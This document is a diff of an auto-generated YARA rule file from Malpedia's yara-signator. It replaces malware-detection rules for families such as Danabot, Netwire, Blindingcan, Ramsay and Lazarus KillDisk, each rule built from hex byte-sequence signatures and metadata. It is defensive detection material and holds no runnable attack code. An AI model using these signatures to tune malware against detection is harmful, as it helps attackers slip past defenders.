+		$sequence_15 = { 8b45f0 83781000 750e 8b4df0 8b510c 0355cc 8955e4 }
+		$sequence_16 = { 0fb74c247e 6685c9 0f84cd010000 6683f92e 750f }
+		$sequence_17 = { 720b 03f0 eb9c 5f 5e 33c0 5b }
+		$sequence_18 = { e8???????? b90e000000 ff15???????? 33c0 e9???????? e9???????? ff15???????? }
+		$sequence_19 = { 745d 837c242004 7479 837c242005 0f8480000000 }
+		$sequence_20 = { ebbc 8b4dfc 8b5108 52 ff15???????? 83c404 8b45fc }
+		$sequence_21 = { 8d8574fdffff 6804010000 50 6a00 ff15???????? 8d8574fdffff }
+		$sequence_22 = { 7426 8b4f04 85c9 741f }
+		$sequence_23 = { 8139aaeeddff 0f858e000000 8b4104 85c0 }
+		$sequence_24 = { 8b45fc 8b08 83792800 7457 }
+		$sequence_25 = { 85c9 7513 ffb318020000 ff15???????? 33c0 5b }
+		$sequence_26 = { 8b45ac 894610 8b45b0 894614 ff15???????? 66894604 8d45e8 }
+		$sequence_27 = { 8b55fc 8b4230 50 ff15???????? 83c404 }
+		$sequence_28 = { ba08020000 0f114014 c7400856120000 89580c c700aaeeddff }
+		$sequence_29 = { 85c0 7416 0f1f4000 8bc1 83e00f 8a0430 30441124 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <417792
 }
-rule MALPEDIA_Win_Void_Auto : FILE
+rule MALPEDIA_Win_8Base_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "71ce776b-404f-5334-912d-5acada68aa35"
+		id = "7c9b0c56-079f-5ac3-b0fc-c036345ce952"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.void"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.void_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.8base_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "c9d396773d78302d4ad6bf52fbcd07db1d946f6b7dffcc9d3a1efd465ff43099"
+		logic_hash = "ea755be9fd3154ace1513f9f57e59c67fbe5ae97b6b4073ab7fa5cccbb0a5bb8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160030,30 +167092,32 @@ rule MALPEDIA_Win_Void_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a09 8d4c2410 51 50 e8???????? 85c0 7518 }
-		$sequence_1 = { 5d c20c00 6a00 ff750c 50 e8???????? 50 }
-		$sequence_2 = { 807d6b00 0f8483000000 6a02 8d4dc4 e8???????? 8d45c4 c745fc02000000 }
-		$sequence_3 = { 0f43c6 50 ff7514 8d45ac ff7510 50 53 }
-		$sequence_4 = { 5b 8bc1 8b4c2440 5e 5d 33cc e8???????? }
-		$sequence_5 = { 7473 8d4dec 8975ec e8???????? 53 8bcf 8b00 }
-		$sequence_6 = { 854110 7419 8d45e4 6a01 50 e8???????? 83c408 }
-		$sequence_7 = { 894610 c1e102 51 8d0490 6a00 50 e8???????? }
+		$sequence_0 = { 6a00 ff15???????? 8d8e04a2feff 81f98c230000 770b }
+		$sequence_1 = { f8 290c67 98 a6 73c2 }
+		$sequence_2 = { 8815???????? c605????????6f 880d???????? c605????????65 c605????????63 }
+		$sequence_3 = { 8d3485c0289100 8b06 83e71f c1e706 03c7 8a5824 }
+		$sequence_4 = { c684249c00000002 50 c7442410043a4000 e8???????? }
+		$sequence_5 = { d3ea 89542414 8b442434 01442414 8b442424 31442410 }
+		$sequence_6 = { ff15???????? 8b442414 40 3d???????? 89442414 0f8c0effffff 8b35???????? }
+		$sequence_7 = { 8bf7 83e61f c1e606 033485c0289100 c745e401000000 }
+		$sequence_8 = { 6689442416 33c9 668954241a 8d442434 50 66894c241c 8b4c241c }
+		$sequence_9 = { 899c24ac000000 3bfb 7449 8b8424b8000000 56 8d742418 }
 
 	condition:
-		7 of them and filesize <2744320
+		7 of them and filesize <10838016
 }
-rule MALPEDIA_Win_Danabot_Auto : FILE
+rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6c78b1f9-714b-5978-8883-c700c384c0f3"
+		id = "6a23a7a3-8360-570b-be01-5aa731924fe0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.danabot_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crypto_fortress_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "4cb498ddb7090d3a6017b222a7d9cd57acddd4317f82294d9c05727c52600ae4"
+		logic_hash = "cb9e8ad6d0528bcc920d7d8992919925e873e6ab7fd21de603b21e974fe6d2be"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160067,32 +167131,32 @@ rule MALPEDIA_Win_Danabot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7405 83e804 8b00 83f814 7e18 8b45fc 50 }
-		$sequence_1 = { c1e803 83e03f 83f838 730b ba38000000 }
-		$sequence_2 = { 8b03 50 8b44242c 50 6a14 }
-		$sequence_3 = { 8b45f8 85c0 7407 83e804 }
-		$sequence_4 = { 8b16 e8???????? 8b07 50 8b442428 50 6a0a }
-		$sequence_5 = { 50 6a14 688a4c2a8d 8bc6 8b4d00 8b17 }
-		$sequence_6 = { 3b85d0feffff 7452 8b85d0feffff 50 6a00 }
-		$sequence_7 = { 6a00 49 75f9 51 53 56 bb???????? }
-		$sequence_8 = { 8b0f 8b16 e8???????? 8b07 50 8b442454 50 }
-		$sequence_9 = { 56 57 8bf1 8955f8 8945fc 8d45fc }
+		$sequence_0 = { ffb5a8feffff e8???????? 68???????? ffb5a8feffff e8???????? }
+		$sequence_1 = { a3???????? 68???????? ff35???????? e8???????? 85c0 0f846f030000 }
+		$sequence_2 = { aa 3407 aa 045a aa }
+		$sequence_3 = { e8???????? 85c0 0f846f030000 a3???????? 68???????? ff35???????? e8???????? }
+		$sequence_4 = { ff35???????? e8???????? 85c0 0f8456060000 a3???????? 8d3dccec4000 33c0 }
+		$sequence_5 = { 2cff aa 2cf9 aa 2c4c }
+		$sequence_6 = { aa 2c4e aa 0444 aa 2cff aa }
+		$sequence_7 = { c9 c20800 55 8bec 83c4f8 8b4508 }
+		$sequence_8 = { aa 341b aa 2c27 aa 3441 aa }
+		$sequence_9 = { aa 340a aa 3421 aa 0433 aa }
 
 	condition:
-		7 of them and filesize <237568
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Remy_Auto : FILE
+rule MALPEDIA_Win_Blindingcan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7ce97943-cfc3-5429-92c7-f07c9ff48391"
+		id = "cb880a40-09fd-57de-a5ce-976bc164d187"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remy_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blindingcan_auto.yar#L1-L180"
 		license_url = "N/A"
-		logic_hash = "8cc4f887faa36fa3ebf369fe88c2b140d588410f99b73c322f37daf8b5d5619a"
+		logic_hash = "7d6669fb427721c8bcc6cd766a15275abac3a422e034ffec946a676b43de9099"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160106,32 +167170,38 @@ rule MALPEDIA_Win_Remy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c404 3bc3 7420 50 8bc6 8d7c241c }
-		$sequence_1 = { 56 81c30f010000 53 e8???????? 8d46f0 }
-		$sequence_2 = { 3dc8000000 0f85c50b0000 6a28 8d742424 895c2424 895c2428 895c242c }
-		$sequence_3 = { 5d c3 8b7dfc 8d4fff 81f9ffff0000 7728 }
-		$sequence_4 = { 7451 8d4634 898638100000 8d8634100000 c70000100000 895d0c 895d08 }
-		$sequence_5 = { 51 8d570c 52 e8???????? 83c40c 8b4508 83c010 }
-		$sequence_6 = { 8b5604 2bc8 2bd0 c1f902 c1fa02 3bd1 }
-		$sequence_7 = { 8d8748100000 57 8908 8d4da4 51 8d55a0 52 }
-		$sequence_8 = { 8d4d90 e8???????? 83c41c c645fc02 895e40 8bff 8b4d94 }
-		$sequence_9 = { 50 ff15???????? 8b95b4feffff 52 ff15???????? 8b4df4 64890d00000000 }
+		$sequence_0 = { 83c40c 68???????? 68???????? ff15???????? 689c040000 85c0 }
+		$sequence_1 = { 750a 8b10 8994bdfcfdffff 47 83c00c 49 }
+		$sequence_2 = { c785bcfdffff661fcba8 c785c0fdffffc0f0d181 c785c4fdffff1f08c3d4 c785c8fdffff28edbc6a c785ccfdffff12aff210 }
+		$sequence_3 = { c745e4ef0dfff5 c745e85acd9c1d c745ec36c2f964 c745f0a70d9fae c745f48f2aedf1 }
+		$sequence_4 = { c78594feffff657f9183 c78598feffffa78b5b05 c7859cfeffff87f53e0c c785a0feffff074f9b22 }
+		$sequence_5 = { c745ac84b1df57 c745b0c8cbfee9 c745b4567e337f c745b8e958e686 }
+		$sequence_6 = { c78548feffffdfc2f62c c7854cfeffff17516633 c78550fefffff76c7e7e c78554feffffa14b0c27 c78558feffff10c0aac6 c7855cfeffff489a8471 c78560feffff9cab4ad6 }
+		$sequence_7 = { 740c a810 7408 c68435a8fcffff01 46 83fe1a }
+		$sequence_8 = { f7fe 8bca e8???????? 85c0 7409 e8???????? }
+		$sequence_9 = { 55 4154 4155 488da8e8f3ffff 4881ec000d0000 488b05???????? 4833c4 }
+		$sequence_10 = { 8bd5 664489642422 6689442420 895c2428 e8???????? 8bd3 488bcf }
+		$sequence_11 = { 85c0 751b e8???????? 4885c0 7461 448bc7 488d55c0 }
+		$sequence_12 = { 81e909200000 746e 83e907 745f ffc9 744d ffc9 }
+		$sequence_13 = { 410fb6c4 0fb68c2810be0100 41335518 400fb6c6 0fb6842810be0100 c1e108 33c8 }
+		$sequence_14 = { 488b4dc8 488d45c0 4c8d4db0 4889442428 488d0552d30100 488d1586340100 4533c0 }
+		$sequence_15 = { ff15???????? 4883ceff 4c8be8 4889442440 483bc6 752d ff15???????? }
 
 	condition:
-		7 of them and filesize <507904
+		7 of them and filesize <363520
 }
-rule MALPEDIA_Win_Elise_Auto : FILE
+rule MALPEDIA_Win_Unidentified_071_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f217246a-45c9-5e4c-8fe4-ae9bb248bda8"
+		id = "9e4ae8e5-b01b-5dfb-9ebf-d96081ff094b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.elise_auto.yar#L1-L163"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_071_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "4bacbe3f48e2ba0fdae2760e38d43f9e3c8b071aa93c58355438ff735f59b16b"
+		logic_hash = "cf757bc05d123f04b705025eb8059bfc6f948c6a237ae24790160c041569438f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160145,38 +167215,32 @@ rule MALPEDIA_Win_Elise_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8461010000 8d847eee040000 50 e8???????? 85c0 }
-		$sequence_1 = { 8bd0 c1ea0b 0fafd7 3bf2 7312 b800080000 }
-		$sequence_2 = { 8bcb 8dbe06050000 f3ab 8bc2 8bcb }
-		$sequence_3 = { 33c9 33db 663b4e06 731a }
-		$sequence_4 = { 8bcf e8???????? 8365f400 c1e004 0145fc 33f6 46 }
-		$sequence_5 = { 894dec 8945f4 8dbeba0a0000 8bc3 8bce }
-		$sequence_6 = { 7cf5 33c9 888f00010000 888f01010000 }
-		$sequence_7 = { 8d3470 d3e0 0945f4 43 83fb04 72e1 8b45f4 }
-		$sequence_8 = { 888f00010000 888f01010000 8bf7 8945f8 }
-		$sequence_9 = { 8d3400 8b44240c 03c6 50 }
-		$sequence_10 = { eb02 d1e8 4e 75f1 }
-		$sequence_11 = { e8???????? 59 59 33c0 e9???????? 8b35???????? }
-		$sequence_12 = { 42 0fb6fa 8a1c07 881c06 }
-		$sequence_13 = { 897df4 8b7d08 03df 0fb63c06 }
-		$sequence_14 = { 837d0c00 8a8800010000 8a9001010000 0f8e93000000 53 }
-		$sequence_15 = { 301f ff45f8 8b7df8 3b7d0c 0f8c7bffffff 5f 5e }
+		$sequence_0 = { e8???????? ff35???????? a3???????? a1???????? 0faf05???????? a3???????? e8???????? }
+		$sequence_1 = { 6a20 8901 83c8ff 5a 895104 894108 d1e8 }
+		$sequence_2 = { 8bd9 8b4b10 2bc1 894c2404 3bc2 0f82a7000000 8b4314 }
+		$sequence_3 = { 6a10 5a 0f44ca 51 50 ff15???????? }
+		$sequence_4 = { c3 33c0 c3 8b5108 b8ffffff0f }
+		$sequence_5 = { ff36 e8???????? 8b0e 8b4608 2bc1 894df8 6a18 }
+		$sequence_6 = { 8b4c2420 8d346d00000000 8b542428 56 ff742428 8d044a }
+		$sequence_7 = { c20400 55 8bec 8b450c ff7510 2b4508 c1f804 }
+		$sequence_8 = { 0f8290000000 8b4314 55 56 57 8d3c11 }
+		$sequence_9 = { 85c0 8b4314 740d 25ffffff82 0d00000002 894314 0fb64b01 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <1220608
 }
-rule MALPEDIA_Win_Eagerbee_Auto : FILE
+rule MALPEDIA_Win_Netwire_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2c944b22-0670-5d3a-8325-748c1204ab76"
+		id = "7e349eff-bed6-58da-b13d-023150840eee"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eagerbee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.eagerbee_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netwire_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "128c0a374c8b1a00f6b82c3fc65b3e7ab4f3e40ebdc9cd2ac65e4a7f259bdca2"
+		logic_hash = "d56dccb0a24c96c7c7e1e50a683192f0a074d28ee0f4b72f3b3f8446384ae89a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160190,32 +167254,32 @@ rule MALPEDIA_Win_Eagerbee_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 493bc7 753b 488b05???????? ff05???????? 488bcb ff90f8000000 488d1560d80100 }
-		$sequence_1 = { 488d15b7aa0100 41b908000000 48c7c101000080 498943d8 c744245810000000 ff15???????? 85c0 }
-		$sequence_2 = { 0f44d8 eb0b 8b7c245c e8???????? 8bd8 85db 7415 }
-		$sequence_3 = { 744c 488d15be810200 488bcb 4d8bc7 e8???????? 488b05???????? }
-		$sequence_4 = { 8b01 eb06 ff90c0000000 410fb7cc eb3b 488bcf }
-		$sequence_5 = { 85c0 751e 4c8b4c2448 4c8b442440 488d1517640100 488b4c2430 ff15???????? }
-		$sequence_6 = { 8d6f07 458d77c7 8d5fce 488d8c2470010000 664489bc2470010000 6689bc2472010000 }
-		$sequence_7 = { c68424c20000006f c68424c300000073 4088bc24c4000000 c68424c500000073 c68424c60000006f c68424c700000063 4488bc24c8000000 }
-		$sequence_8 = { 8bd8 ebbf ff90e0000000 8bd8 85db 0f8481020000 3bdf }
-		$sequence_9 = { 4533c9 4533c0 48896c2458 4489642450 4489742454 48898698080000 c7869408000004000000 }
+		$sequence_0 = { c7042449000000 e8???????? c7042446000000 e8???????? c7042400000000 e8???????? }
+		$sequence_1 = { c7042401000080 e8???????? c7042410000000 e8???????? }
+		$sequence_2 = { c744240c00000000 c744240800000000 c744240400000000 c7042408000000 e8???????? 83ec14 }
+		$sequence_3 = { 740c c7042400000000 e8???????? c70424???????? e8???????? }
+		$sequence_4 = { e8???????? a3???????? c7042440000000 e8???????? }
+		$sequence_5 = { c70424d0070000 e8???????? e9???????? e8???????? }
+		$sequence_6 = { c744241000000000 c744240c00000000 c744240800000000 c744240400000000 c7042408000000 e8???????? 83ec14 }
+		$sequence_7 = { c744242c00000000 c744242800000000 c744242400000000 c7442420fdffffff c744241c00000000 c744241800000000 }
+		$sequence_8 = { c7042400000000 e8???????? c70424???????? e8???????? }
+		$sequence_9 = { e8???????? eb11 c7042496000000 e8???????? }
 
 	condition:
-		7 of them and filesize <422912
+		7 of them and filesize <416768
 }
-rule MALPEDIA_Win_Nettraveler_Auto : FILE
+rule MALPEDIA_Win_Ramsay_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "494d7b5b-e566-59c9-b0c7-fe620930e93d"
+		id = "419ecbad-236d-5c68-9c96-e25af72dd2b4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nettraveler_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ramsay_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "ca8cfc3fd83dc1a9e063f01d8d61d4c33014172373ecd89db27946ab9125b077"
+		logic_hash = "eb3826746ddecabb3a90d33f9a9bdc63a3e0601a54105640bc672d97b2815450"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160229,34 +167293,40 @@ rule MALPEDIA_Win_Nettraveler_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd3 c70424???????? ff7508 a3???????? }
-		$sequence_1 = { 81ec8c000000 56 57 ff7508 8bf1 e8???????? 8bf8 }
-		$sequence_2 = { 83650800 83c70c 83c428 85ff 897df0 0f8eb6000000 bf00040000 }
-		$sequence_3 = { 53 68???????? ffd6 80a5dcf7ffff00 59 59 baff000000 }
-		$sequence_4 = { 0bdf 33da 035dc4 8d9c18827e53f7 8bc3 c1e81a c1e306 }
-		$sequence_5 = { 0bd7 8b7dfc 0355e4 8dbc178a4c2a8d 8bd7 c1e214 c1ef0c }
-		$sequence_6 = { ff750c ff75d4 50 e8???????? 83c414 8945ec }
-		$sequence_7 = { e8???????? 83c418 8d45fc 897dfc 50 }
-		$sequence_8 = { ffd7 8945fc 8d4308 50 ffd7 8065e400 }
-		$sequence_9 = { 33df 035dc0 8d9c1992cc0c8f 8bcb c1e30a c1e916 0bcb }
+		$sequence_0 = { 85c0 7514 ff15???????? 83f820 }
+		$sequence_1 = { 83f820 7502 eb07 33c0 e9???????? }
+		$sequence_2 = { ff15???????? 85c0 7502 eb02 ebb1 }
+		$sequence_3 = { 83c201 8955f8 837df808 731e 8b45f8 }
+		$sequence_4 = { 894df1 884df5 c745ec00000000 6a06 8d55f0 52 }
+		$sequence_5 = { 83c404 8945f8 8b4d08 83c101 51 6a00 8b55f8 }
+		$sequence_6 = { 8b02 ba02000000 f7e2 0f90c1 f7d9 }
+		$sequence_7 = { 8945f8 837df8ff 7507 33c0 e9???????? 6a00 8b4df8 }
+		$sequence_8 = { 8a481c 884a15 8b5508 8b4508 }
+		$sequence_9 = { 3b4d08 732c e8???????? 33d2 b93e000000 }
+		$sequence_10 = { ff15???????? 85c0 751a 8b4df8 51 }
+		$sequence_11 = { ff15???????? 33c0 e9???????? e8???????? 85c0 7507 33c0 }
+		$sequence_12 = { e8???????? eb2b 83f8ff 7526 4c8d253b490100 }
+		$sequence_13 = { e8???????? eb20 488d542470 488d0d1afa0100 e8???????? 4533c0 33d2 }
+		$sequence_14 = { e8???????? eb2d 4863442468 488b4c2458 }
+		$sequence_15 = { e8???????? eb31 488b8c2428110000 e8???????? }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <2031616
 }
-rule MALPEDIA_Win_Virlock_Auto : FILE
+rule MALPEDIA_Win_Oceansalt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a53ad870-36e8-5483-a3c7-250260a5d06b"
+		id = "4759a01e-4dff-5857-b87f-609205da91fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virlock_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oceansalt_auto.yar#L1-L173"
 		license_url = "N/A"
-		logic_hash = "2251c81b77f733b642183ccf22ad3a25fb0df2e83278219ff44fcff0baf92b0d"
+		logic_hash = "5f4a1382e32af57ddc08356072f34b4511a1cb8b2d1541817fa2debd46a6df75"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -160268,32 +167338,38 @@ rule MALPEDIA_Win_Virlock_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? e8???????? ff15???????? 61 3bcb 7532 60 }
-		$sequence_1 = { 9d cde6 81b4e570805c4af32b0cf0 e602 a4 b592 9c }
-		$sequence_2 = { 68???????? eb0a 68???????? 68???????? e8???????? 83fa00 751b }
-		$sequence_3 = { 81f2???????? 81f35e473bfc 81f308f661fc 81f37dc97000 e8???????? bb8aedf4f9 baf2edecff }
-		$sequence_4 = { 45 58 58 46 54 4f 53 }
-		$sequence_5 = { eb07 3106 83c604 ebea 83f901 754a }
-		$sequence_6 = { 42 4b 4e 53 47 4b 56 }
-		$sequence_7 = { 44 56 53 49 4f 45 }
-		$sequence_8 = { 8bf8 90 e9???????? 8807 90 42 90 }
-		$sequence_9 = { bb53203dfd 3106 83c604 bb975ea4f7 ebb5 83f901 }
+		$sequence_0 = { ff15???????? 6a00 6a02 83f81f }
+		$sequence_1 = { 8d95fcfbffff 6800020000 52 e8???????? 83c410 8d85ecfbffff }
+		$sequence_2 = { 8d85f4feffff 50 56 ffd7 6a00 }
+		$sequence_3 = { 6a00 52 c685fcfbffff00 e8???????? }
+		$sequence_4 = { 8b7508 33c0 50 8945f5 668945f9 8845fb 6a07 }
+		$sequence_5 = { 8945fc 56 57 6a00 6a02 c785ccfdffff28010000 e8???????? }
+		$sequence_6 = { 6a0d 58 5d c3 8b04cd2cf04000 }
+		$sequence_7 = { 56 c645f400 ff15???????? 6a00 6a07 8d4df4 }
+		$sequence_8 = { 4885c0 7419 488d1573750000 488bc8 ff15???????? }
+		$sequence_9 = { b903000000 f3a6 0f8463010000 33c9 0fb6840c8c000000 }
+		$sequence_10 = { 33d2 41b82a010000 6689442440 e8???????? ff15???????? 8be8 }
+		$sequence_11 = { 33c0 e9???????? 48895c2408 4c63c1 488d1d1d890000 4d8bc8 }
+		$sequence_12 = { 0f85d0000000 488d0d6b380000 ff15???????? 488bf0 4885c0 0f848c010000 }
+		$sequence_13 = { 488bc8 c744242800000008 c744242003000000 ff15???????? 488bd8 4883f8ff }
+		$sequence_14 = { f3a6 749a 488d8c24b0030000 33d2 41b868010000 e8???????? }
+		$sequence_15 = { 488d3d94700000 eb0e 488b03 4885c0 7402 ffd0 4883c308 }
 
 	condition:
-		7 of them and filesize <4202496
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Diceloader_Auto : FILE
+rule MALPEDIA_Win_Joao_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "29011295-3bc8-5840-8c7d-e823af0d9069"
+		id = "d37cc5ea-3d73-5336-a732-17564803dcb9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.diceloader_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joao"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.joao_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "3c776f38a1a79f5ecd47a0499d8c206a83999319aa99b844edf38b2b9ae751b8"
+		logic_hash = "86dd7ba6af2ece0f6d3df07328920c1e2520bb8d3e325d921ed8a0a42914959d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160307,32 +167383,32 @@ rule MALPEDIA_Win_Diceloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7419 e8???????? 8bf0 83f8fe 0f840a010000 83f8ff }
-		$sequence_1 = { 75cf 488325????????00 488d0d3a220000 448905???????? c705????????01000000 ff15???????? 488325????????00 }
-		$sequence_2 = { 75e5 448d4301 41b9983a0000 488d1daa2a0000 8bcf 488bd3 ff15???????? }
-		$sequence_3 = { 8b0491 4903c5 498907 33c9 eb2a }
-		$sequence_4 = { 498b7318 498be3 5f c3 4053 4883ec20 33db }
-		$sequence_5 = { 7453 33d2 458d460e 488d4c2420 e8???????? 0fb7ce }
-		$sequence_6 = { 8bf0 83f8fe 0f840a010000 83f8ff 0f8406010000 4533ff 3bf3 }
-		$sequence_7 = { 4c8d4820 ba05000000 44894024 448bc1 c740e808000000 8d4afe e8???????? }
-		$sequence_8 = { e8???????? 498bd5 488d0dea1f0000 e8???????? }
-		$sequence_9 = { 8d4860 e8???????? 488bcd 488bf8 895808 }
+		$sequence_0 = { 8bce 897dfc e8???????? 837de810 c745fcffffffff 720c 8b45d4 }
+		$sequence_1 = { 8b4e08 2b0e c1f905 3bc8 }
+		$sequence_2 = { 8d4dd0 51 8bce 897dfc e8???????? }
+		$sequence_3 = { 50 6a0f 68???????? e8???????? 8b5510 8d8df8feffff }
+		$sequence_4 = { 8b4804 8b4c3138 c645ef01 4b }
+		$sequence_5 = { 8d45f8 50 8bce c745f809000000 897dfc e8???????? 8d4df8 }
+		$sequence_6 = { e8???????? 8b4604 83e7e0 033e }
+		$sequence_7 = { 8b4c3224 8b443220 c645fc03 85c9 7c15 7f04 }
+		$sequence_8 = { 8d4dd4 e8???????? 8d4dd0 51 8bce 897dfc e8???????? }
+		$sequence_9 = { 8b4e08 2b0e c1f905 3bc8 736a 8d7e0c 50 }
 
 	condition:
-		7 of them and filesize <41984
+		7 of them and filesize <2867200
 }
-rule MALPEDIA_Elf_Satori_Auto : FILE
+rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ef9a3def-11bf-57c1-9abe-eaf3ea87bbf4"
+		id = "37962373-db6b-5a82-a667-796eaa294f65"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.satori_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lazarus_killdisk_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "acc91f43f84cb8d9ebcbacb4d453867e5ba0d238d6255f05df970cd0ecb540bb"
+		logic_hash = "f14584aa2cdb4f56b5df407c3c19c0436c1677938983b3e7a6f77f9ce3d89a22"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160346,32 +167422,32 @@ rule MALPEDIA_Elf_Satori_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
